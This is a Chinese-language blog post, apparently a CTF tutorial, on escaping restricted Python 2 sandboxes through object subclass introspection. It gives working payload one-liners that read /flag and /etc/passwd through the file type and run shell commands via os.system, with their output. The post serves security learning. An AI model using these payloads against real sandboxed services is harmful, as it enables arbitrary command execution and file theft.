python沙盒逃逸

2019-08-15 09:08:00
沙箱逃逸 - python - ctf

前排收藏自用

[].__class__.__bases__[0].__subclasses__()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__bases__[0].__subclasses__()[40]('/flag').read()

object类

对于python来说,所有类都默认继承自object类,而object类有许多内建的属性和方法,要查看这些属性和方法可以使用dir函数。 dir函数不带参数时,返回当前范围内的变量、方法和定义的类型列表;带参数时,返回参数的属性、方法列表。如果参数包含方法__dir__(),该方法将被调用。如果参数不包含__dir__(),该方法将最大限度地收集参数信息。 且需要知道的是,对于python,一切都是对象,例如我们定义一个a=1,那么这个a就是对象,我们定义一个列表,那么这个列表也是对象。

沙箱

所谓的 Python 沙箱,即以一定的方法模拟 Python 终端,实现用户对 Python 的使用。沙箱对于一些python模块是禁止使用的,仅提供一些模块给用户使用,而我们要做的就是逃脱其限制并最终getshell。

创建对象

python中一切都是对象,那么我们创建一个空元组列表等等也都是对象,既然是对象,那么它的类就继承自object基类,python中有__class__方法可以返回对象的类,再对该类调用__bases__方法可以返回该类的基类,他返回一个基类列表,一般的,该列表第一项即为object类。而我们知道,对一个类使用dir方法可以返回该类所具有的属性和方法。 因此,在沙箱中使用语句dir([].__class__.__bases__[0])即可查看当前object类可以使用的方法和属性。 题目中返回了如下的一个列表:

['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']

注意这里有一个__subclasshook__,该方法定义于类中而非元类中,它要求两个前提:1. 该类为抽象基类;2. 该方法为类方法。这样,__subclasshook__将覆盖元类中的__subclasscheck__产生作用,从而允许我们定义类级的子类校验方式。__subclasshook__可以返回True或False,以及NotImplemented表明未定义。总之我们就可以对[].__class__.__bases__[0]使用__subclasses__()来查看所具有的模块然后来调用。

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

用法

我们可以把该列表放入我们的py文件中查找我们需要的模块所在的位置,这里我们可以看到有一个file模块,我们使用[].__class__.__bases__[0]使用__subclasses__()[40]

[].__class__.__bases__[0].__subclasses__()[40]
Return Value: <type 'file'>

到这里就算是引用了file了,构建语句: [].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()即可进行文件读取,文件的写也是同理。

[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

bin   dev  flag  lib    media  nohup.out  proc  run   srv      sys  usr
boot  etc  home  lib64  mnt    opt    root  sbin  sx11.py  tmp  var
Return Value: 0

如此可执行任意命令从而getshell,而正真题目中就会是各种绕过,因此需要自己构建语句从而执行任意语句,这里看见flag了,直接用read即可读取。



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号